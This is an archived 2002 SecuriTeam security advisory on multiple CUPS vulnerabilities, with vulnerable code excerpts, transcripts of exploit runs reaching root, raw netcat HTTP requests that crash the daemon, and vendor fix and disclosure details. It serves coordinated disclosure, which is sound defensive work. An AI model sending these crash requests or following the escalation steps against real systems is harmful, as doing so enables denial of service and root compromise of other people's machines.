

[UNIX] Multiple Security Vulnerabilities in Common UNIX Printing System (CUPS)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-12/0063.html>

From: support@securiteam.com

Date: 12/19/02

From: support@securiteam.com

To: list@securiteam.com

Date: 19 Dec 2002 22:18:50 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

Multiple Security Vulnerabilities in Common UNIX Printing System (CUPS)

SUMMARY

Easy Software Products' Common UNIX Printing System (CUPS) is a cross-platform printing solution for UNIX environments. It is based on the "Internet Printing Protocol," and provides complete printing services to most PostScript and raster printers. CUPS has a web-based graphical interface for printer management and is available on most Linux systems.

More information is available at <<http://www.cups.org>>

<http://www.cups.org>.

The following major vendors are known to distribute CUPS by default; in some cases, it is the default printing implementation used as well:

- * Apple Computer Inc.
- * Debian Project
- * FreeBSD Project
- * MandrakeSoft Inc.
- * NetBSD Foundation
- * Red Hat Inc.
- * Slackware Linux Inc.
- * SuSE Inc.
- * The SCO Group
- * Turbolinux Inc.

Securiteam: [UNIX] Multiple Security Vulnerabilities in Common UNIX Printing System (CUPS)

A local vulnerability in the product allows attackers to gain elevated privileges.

DETAILS

Vulnerable systems:

* CUPS-1.1.14-5, CUPS-1.1.14-15, and CUPS-1.1.17

Exploitation of multiple CUPS vulnerabilities allow local and remote attackers in the worst of the scenarios to gain root privileges. The following test platforms were used for various parts of this advisory:

[1] – Red Hat Linux 7.0 running CUPS-1.1.14-5 (RPM)

[2] – Red Hat Linux 7.3 running CUPS-1.1.14-15 (RPM)

[3] – Red Hat Linux 7.3 running CUPS-1.1.17 (Source Install)

Multiple Integer Overflows:

An integer overflow exists in the CUPSd http interface. Exploitation allows an attacker to gain the permissions of the 'lp' user id and the 'sys' group id. The offending lines of code can be found in `cgi-bin/var.c`:

```
var = form_vars + form_count;
var->name = strdup(name);
var->nvalues = element + 1;
var->avals = element + 1;
var->values = calloc(element + 1, sizeof(char *));
var->values[element] = strdup(value);
```

Since an attacker has control over both element and value, he or she can overwrite the address of a soon-to-be called function with the address of arbitrary code. The following is a successful run of the vanilla-coke exploit ran against test platform [1] built against glibc-2.2.4-18.7.0.8:

```
$ ./vanilla-coke
```

```
$ ls -l /tmp/suid
```

```
-----rwsrwsr-x 1 lp sys 14093 Dec 4 07:50 /tmp/suid
```

```
$ /tmp/suid
```

```
sh-2.04$ id
```

```
uid=4(lp) gid=3(sys) groups=500(farmer)
```

The exploit created a set user id 'lp' shell. While the current exploit works only against systems utilizing glibc-2.2.4-18.7.0.8, it is possible to make modifications that will make it effective against earlier glibc versions. The vulnerable code also exists in the latest version of CUPS (test platform [3]) and appears to be exploitable with slight modifications.

Multiple integer overflows also exist in the image handling code of the filters in CUPS. The following is a successful run of the mksun exploit

Securiteam: [UNIX] Multiple Security Vulnerabilities in Common UNIX Printing System (CUPS)

tested against platform [1]:

```
$ ls -al /tmp/resulted
```

```
/bin/ls: /tmp/resulted: No such file or directory
```

```
$ ./mksun | lp
```

```
request id is lp-100 (1 file(s))
```

```
$ cat /tmp/resulted
```

```
Ok.
```

```
uid=4(lp) gid=3(sys)
```

```
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),40(dip)
```

This vulnerability still exists in the latest version of CUPS (test platform [3]) slight modification of the exploit code is required.

/etc/cups/certs/ Race Condition:

A race condition exists in the creation of */etc/cups/certs/<pid>*. This allows a local attacker to create or overwrite any file as root. A prerequisite to launching this attack is 'lp' user privileges, which can be gained through successful exploitation of ISSUE 1 (see above).

The following is a successful run of the ice-cream exploit tested against platforms [1], [2], and [3]:

```
sh-2.04$ /tmp/ice-cream
```

```
Waiting for creation event.
```

```
Trying 127.0.0.1...
```

```
Connected to redhat7.0 (127.0.0.1).
```

```
Escape character is '^'.
```

```
HTTP/1.1 200 OK
```

```
Date: Wed, 04 Dec 2002 12:37:21 GMT
```

```
Server: CUPS/1.1
```

```
..
```

```
..
```

```
Connection closed by foreign host.
```

```
Hit it.
```

exec some suid with the lib preloading and then remove

/etc/ld.so.preload-type-file to put things roughly the way they were.

```
sh-2.04$ ls -l /etc/ld.so.preload-type-file
```

```
-----rw-rw-rw- 1 lp sys 20 Dec 4 07:37 /etc/ld.so.preload-type-file
```

The sample exploit created */etc/ld.so.preload-type-file*. An easy modification can generate */etc/ld.so.preload*, which can then be used to gain root privileges by redefining functions such as `getuid()` as a simple "return 0".

Adding Printers with UDP Packets/ Root Certificate Design Flaw:

Printers can remotely be added to CUPS by sending a specially crafted UDP

Securiteam: [UNIX] Multiple Security Vulnerabilities in Common UNIX Printing System (CUPS)

packet. The ability to remotely add printers is used in ISSUE 3 as well as in the exploitation of other subsequent vulnerabilities within this advisory (see below). The added printer can contain a tainted name that when clicked on or referenced through other means (image request, etc.) can exploit ISSUE 1. The exploit does not have to be locally launched being the shellcode can be modified to connect back to a system controlled by the attacker.

The following is a successful run of the new-coke exploit tested against platforms [1] and [2]:

```
$ ./new-coke 127.0.0.1
Argv[1]=127.0.0.1
punt!
```

Checking the web interface to CUPS after running this exploit shows the added printer. The only way to edit or remove this printer through the web interface is to click on it, which will in turn exploit the vulnerability.

A consequence of exploiting this vulnerability is that a local attacker can exploit a design flaw to gain root privileges. A printer is first added and configured to run on a high numbered port. It is then told to return a "need authorization" page. The http backend will then authorize with the current local root certificate, as this is the same certificate that is needed to access the administrative section of the web server. Once the certificate has been obtained, it is possible to add a printer that will execute commands with root privileges.

The following is a successful run of the pardonme exploit script tested against platform [1]:

```
$ ./pardonme.sh
Proof of concept – stealing certificate 0 from CUPS
===== Allows access to
/admin/ area which we use to execute code as root.

- - - - - creating tmp printer to steal key from
- - - - - telling it we want the key.
- - - - - listening for key.
- - - - - attempting to create rootshell printer
- - - - - calling /tmp/doitnow request id is givemeroot-4 (1 file(s))
- - - - - removing tmp printer "hackyou"
- - - - - removing root shell printer "givemeroot" – check /tmp/resulted
- - - - - done

==== contents of file ====
uid=0(root) gid=0(root)
Thu Dec 5 02:19:13 GMT 2002
==== contents of file =====
```

Securiteam: [UNIX] Multiple Security Vulnerabilities in Common UNIX Printing System (CUPS)

Negative Length Memcpy() Calls:

Negative length memcpy() calls can lead to a denial of service (DoS) and, on some platforms, remote root compromise. The following examples demonstrate these vulnerabilities:

```
$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Content-Length: -1
```

```
$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Transfer-Encoding: chunked
```

```
-- -- -- --FFFFFFFE
```

Both requests will crash the CUPS daemon. This issue is similar to the Apache HTTP Server chunking bug that is exploitable on OpenBSD, FreeBSD, and NetBSD due to their implementations of memcpy(). Platforms [1], [2] and [3] are all susceptible to this vulnerability.

Unsafe Strncat Function Call in jobs.c:

jobs.c insecurely uses the strncat function call in the setup of the 'options' string. As such, it is possible to exploit this in conjunction with the vulnerability described in ISSUE 3 to obtain local root privileges. To exploit the vulnerability, a printer is created. A job is then sent to the printer with attributes set in such a fashion as to overflow the options buffer and overwrite the return address of the frame.

Shellcode is then executed. It calls an external program, /tmp/doitnow, which will be executed with root privileges. In the process, two files are created that, unless removed, should prevent CUPS from starting:

```
/var/spool/cups/d00*-0*
/var/spool/cups/c00*
```

The following is a successful run of the tosend script that utilizes the lift exploit. It has been tested against platform [1]:

```
$ ./tosend.sh
* local root
* cupsd incorrect usage of strncat in jobs.c
* ===== * proof of concept. appends
output from "id" and "date" to to /tmp/resulted
[+] checking stuff
* Checking for cupsd file
```

Securiteam: [UNIX] Multiple Security Vulnerabilities in Common UNIX Printing System (CUPS)

```
* Checking cupsd is running
* checking for /sbin/pidof
+ ok!
* finding pid of process 13427
+ ok!
* Checking for make /usr/bin/make
* Checking for nc /usr/bin/nc
[+] Building stuff
* Making lift make: `lift' is up to date.
* firing message (needs netcat (nc) to be in your path) punt!
[+] About to check /tmp/resulted
- - - - - time is now Wed Dec 4 14:27:16 EST 2002
- - - - - current uid == 500
- - - - - current gid == 500
```

The /tmp/doitnow script, in this case, simply contains the command "id > /tmp/didit.txt". The tosend script has successfully used the lift exploit, and the didit.txt file has been created, which, as can be seen from the contents, was executed with root privileges:

```
# cat /tmp/didit.txt
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
```

The exploit is not effective against later versions of CUPS since the strncat() calls have been replaced with calls to strlcat().

Zero Width Images in filters/image-gif.c:

CUPS improperly check for zero width images in filters/image-gif.c as can be seen from the following offending code:

```
..
  bpp = ImageGetDepth(img);
  pixels = calloc(bpp, img->xsize);
..
    xpos ++;
    temp += bpp;
    if (xpos == img->xsize)
    {
        ImagePutRow(img, 0, ypos, img->xsize, pixels); ...
```

The check for reaching the line width is not performed until after the increment, therefore allowing an attacker to manipulate the chunk headers and execute arbitrary code.

The following is a successful run of the nogif exploit tested against platform [1]:

```
$ ./nogif
zero width gif exploit for cups "imager*" filters imagetops filter
example.
```

```
=====
ppmtogif: computing other colormap...
ppmtogif: 256 colors found
ppmtogif: sorting colormap
Moving img1.gif to /var/tmp
Now make and run ./wrap to emulate printing this job.
```

```
$ ./wrap
INFO: lp 7 root img1.gif 1 /var/tmp////////img1.gif
DEBUG: Page = 612x792; 18,36 to 594,756
DEBUG: ImageOpen("/var/tmp////////img1.gif", 1, 1, 100, 0, (nil))
```

Successful exploitation should execute the file /tmp/sh. This vulnerability still exists in the latest version of CUPS (test platform [3]). Slight modification of the exploit code is required, however.

File Descriptor Resource Leaks:

Return values of many file and socket operations are not checked, therefore leading to file descriptor leaks. Attackers can launch a DoS attack against a system running CUPS. The following is a successful run of the fanta exploit tested against platform [1]:

```
$ ./fanta
```

The error below doesn't appear to show up, and the process hangs at around 300–400 somewhere sometimes.

Problem in cups is caused by file descriptor leaks, and failing to check return values for file operations in many areas.

```
0 sent
100 sent
200 sent
```

Analysis:

Local and remote attackers can exploit the above-described vulnerabilities on vulnerable CUPS versions to gain superuser privileges. Exploitation is relatively easy in most cases given exploit code, although certain modifications are necessary in certain instances.

Detection:

CUPS–1.1.14–5, CUPS–1.1.14–15, and CUPS–1.1.17 are susceptible. See the detailed DESCRIPTION section above to determine the specifics of implementation susceptibility.

Recovery:

Crashed daemons must be restarted in order to resume normal operations. If the CUPS daemon cannot restart, check for the existence of the following files and remove them:

```
/var/spool/cups/d00*–0*
/var/spool/cups/c00*
```

Securiteam: [UNIX] Multiple Security Vulnerabilities in Common UNIX Printing System (CUPS)

Vendor response and fixes:

Michael Sweet [mike@easysw.com] of Easy Software Products said CUPS 1.1.18 will be released December 19, 2002 which addresses all of these issues (<http://www.cups.org>).

Mark J Cox (mjc@redhat.com) of Red Hat said the following: "Red Hat Linux 7.3 and 8.0 ship with CUPS, however it is not enabled by default. We are currently working on producing erratum packages. When complete, these will be available along with our advisory. At the same time, users of the Red Hat Network will be able to update their systems using the 'up2date' tool."

Richard Blanchard (rblanchard@apple.com) of Apple said the following: "Affected Systems: Mac OS X 10.2 – Mac OS X 10.2.2 Mac OS X Server 10.2 – Mac OS X Server 10.2.2

Mitigating Factors: The described vulnerability can be remotely exploited only when Printer Sharing is enabled. Printer Sharing is not enabled by default on Mac OS X or Mac OS X Server. Fixed in: Mac OS X 10.2.3 and Mac OS X Server 10.2.3"

Disclosure timeline: 10/27/2002 Initial discussion with contributor 11/14/2002 Final contributor submission 12/12/2002 CUPS author notified via e-mail to cups-support@cups.org 12/12/2002 iDEFENSE clients notified 12/12/2002 Response and preliminary patch received from CUPS author Michael Sweet (mike@easysw.com) 12/12/2002 Apple, Linux Security List (vendor-sec@lst.de) 12/13/2002 Updated patch received from Michael Sweet 12/17/2002 Response received from Richard Blanchard (rblanchard@apple.com) 12/19/2002 Coordinated Public Disclosure

ADDITIONAL INFORMATION

The information has been provided by <<mailto:labs@idefense.com>> iDEFENSE Labs, the vulnerability was discovered by <<mailto:zen-parse@gmx.net>> zen-parse.

=====

This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

Securiteam: [UNIX] Multiple Security Vulnerabilities in Common UNIX Printing System (CUPS)

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.